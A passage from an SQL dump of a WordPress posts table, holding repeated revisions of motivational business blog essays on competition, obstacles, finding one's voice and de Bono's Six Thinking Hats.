head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-16', '', '', '2010-07-15 07:57:27', '2010-07-15 14:57:27', '', 824, 'http://www.whitehotcenter.com/2010/07/15/824-revision-16/', 0, 'revision', '', 0),
(1377, 2, '2010-12-27 16:08:25', '2010-12-27 23:08:25', '<h2><img class="alignnone size-full wp-image-841" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition4.gif" alt="" width="414" height="408" /></h2>\r\n<h2>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-17', '', '', '2010-12-27 16:08:25', '2010-12-27 23:08:25', '', 824, 'http://www.whitehotcenter.com/2010/12/27/824-revision-17/', 0, 'revision', '', 0);
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(1378, 2, '2010-07-15 08:05:12', '2010-07-15 15:05:12', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. Knowing you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\r\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>\r\nAs an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and competition-proof your business.\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS: I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-10', '', '', '2010-07-15 08:05:12', '2010-07-15 15:05:12', '', 714, 'http://www.whitehotcenter.com/2010/07/15/714-revision-10/', 0, 'revision', '', 0),
(1379, 2, '2010-07-15 08:07:37', '2010-07-15 15:07:37', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="460" height="340" />\r\n<h2>One of the manifesto principals here on the WhiteHotCenter states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-8', '', '', '2010-07-15 08:07:37', '2010-07-15 15:07:37', '', 691, 'http://www.whitehotcenter.com/2010/07/15/691-revision-8/', 0, 'revision', '', 0),
(1380, 2, '2010-12-27 16:16:39', '2010-12-27 23:16:39', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="460" height="340" />\r\n<h2>One of the manifesto principals here on the White Hot Center states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-9', '', '', '2010-12-27 16:16:39', '2010-12-27 23:16:39', '', 691, 'http://www.whitehotcenter.com/2010/12/27/691-revision-9/', 0, 'revision', '', 0),
(1381, 2, '2010-12-27 16:18:12', '2010-12-27 23:18:12', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="460" height="340" />\r\n<h2>One of the manifesto principals here on the White Hot Center states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, and experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-10', '', '', '2010-12-27 16:18:12', '2010-12-27 23:18:12', '', 691, 'http://www.whitehotcenter.com/2010/12/27/691-revision-10/', 0, 'revision', '', 0),
(1382, 2, '2010-07-15 08:09:56', '2010-07-15 15:09:56', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="458" height="253" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nI use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a problem solving session with yourself or with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\n<strong>Try this technique out. We have a good deal of fun every time we use it. Share your results with us here.\r\n</strong>', 'Six Thinking Hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-11', '', '', '2010-07-15 08:09:56', '2010-07-15 15:09:56', '', 673, 'http://www.whitehotcenter.com/2010/07/15/673-revision-11/', 0, 'revision', '', 0),
(1383, 2, '2010-12-27 16:20:28', '2010-12-27 23:20:28', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="412" height="228" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nI use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a problem solving session with yourself or with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\n<strong>Try this technique out. We have a good deal of fun every time we use it. Share your results with us here.\r\n</strong>', 'Six Thinking Hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-12', '', '', '2010-12-27 16:20:28', '2010-12-27 23:20:28', '', 673, 'http://www.whitehotcenter.com/2010/12/27/673-revision-12/', 0, 'revision', '', 0),
(1384, 2, '2010-12-27 16:22:30', '2010-12-27 23:22:30', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="412" height="228" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. </span></h2>\r\n<span style="color: #ff6600;">For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span>\r\n\r\nI use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a problem solving session with yourself or with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\n<strong>Try this technique out. We have a good deal of fun every time we use it. Share your results with us here.\r\n</strong>', 'Six Thinking Hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-13', '', '', '2010-12-27 16:22:30', '2010-12-27 23:22:30', '', 673, 'http://www.whitehotcenter.com/2010/12/27/673-revision-13/', 0, 'revision', '', 0),
(1385, 2, '2010-12-27 16:23:20', '2010-12-27 23:23:20', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="412" height="228" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. </span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill</span>.</span> I use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a problem solving session with yourself or with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\n<strong>Try this technique out. We have a good deal of fun every time we use it. Share your results with us here.\r\n</strong>', 'Six Thinking Hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-14', '', '', '2010-12-27 16:23:20', '2010-12-27 23:23:20', '', 673, 'http://www.whitehotcenter.com/2010/12/27/673-revision-14/', 0, 'revision', '', 0),
